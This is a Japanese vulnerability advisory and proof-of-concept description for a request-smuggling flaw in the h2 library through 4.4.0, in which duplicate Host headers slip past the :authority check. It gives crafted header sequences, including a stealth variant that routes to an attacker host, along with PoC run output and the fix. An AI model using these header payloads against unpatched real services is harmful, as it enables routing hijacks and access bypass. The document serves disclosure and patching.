
CVE-2026-71554のPoC - h2における重複Hostヘッダーのリクエストスマグリングプリミティブ(4.4.1で修正済み)
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 影響を受けるバージョン: h2 <= 4.4.0 修正済み: h2 4.4.1 深刻度: 中 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2 のヘッダー検証ロジックをレビューしている際、src/h2/utilities.py の _validate_host_authority_header() が Host と :authority の一致をチェックしているものの、確認するのは最後の Host ヘッダーのみであることに気づきました。2 つの Host ヘッダーを送信すると、h2 は一致チェックに 2 番目のものを使い、両方をそのままアプリケーションへ転送します。
興味深いことに、h2 4.4.0 は重複した Content-Length ヘッダーをすでに ProtocolError で拒否しています。同じ修正が Host には適用されていませんでした。ソースにはこの正確なギャップを認識する TODO コメントまで存在していました:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.py の _validate_host_authority_header() は、最後に確認した Host 値を記録する last-wins ループを使用し、以下のみをチェックします:
:authority または Host の少なくとも一方が存在することHost ヘッダーの数に関するチェックはありません。各 Host ヘッダーは、いくつ存在していても、そのまま下流のアプリケーションへ渡されます。
クライアントが送信:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 は両方を受け入れます。アプリケーションは両方の Host ヘッダーを受信します。
HTTP/1.1 へのダウングレードにより以下が生成されます:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2 は、複数の Host ヘッダーを含む HTTP/1.1 リクエストに対してサーバーが 400 を返すことを要求しています。バックエンドの挙動は分かれます:
nginx — 400 で拒否
Python stdlib — 受け入れ、ルックアップ時に最初の Host を返す
Werkzeug — 受け入れ、ルックアップ時に最初の Host を返す
クライアントが送信:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, first Host (seen by origin)
host: good.internal <- index 1, last Host (used by h2 validator)
h2 の検証: 最後の Host (good.internal) == :authority (good.internal) - 通過。
アプリケーションは両方の Host ヘッダーを受信します。HTTP/1.1 へのダウングレードにより以下が生成されます:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
単一キーのルックアップで最初の Host を返すバックエンドは、リクエストを evil.attacker へルーティングしますが、h2 は good.internal を検証したと認識していました。 h2 が検証した内容とオリジンが処理する内容との間に、完全なルーティングのデシンクが発生します。
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 は ProtocolError を発生させます。このギャップが重複 Host ヘッダーに固有のものであることを確認できます。
影響はデプロイメントアーキテクチャに依存します:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - 2つのHostヘッダー、:authorityなし(両方とも転送される)
h2が転送したHostヘッダー: ['good.internal', 'evil.attacker']
結果として生成されるHTTP/1.1リクエスト:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authorityが最後のHostと一致し、最初のHostが密輸される
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2の不一致チェックは通過する(:authority == 最後のHost)。
結果として生成されるHTTP/1.1リクエスト:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - 単一の不一致Hostと:authority(正しく拒否される)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
3つのケースすべてでProtocolErrorが発生する。ヘッダーは転送されない。
_validate_host_authority_header()内の既存のループにカウンターを1つ追加する:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
コミット: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
発見および報告: Sunand Mohan (https://github.com/SunandM)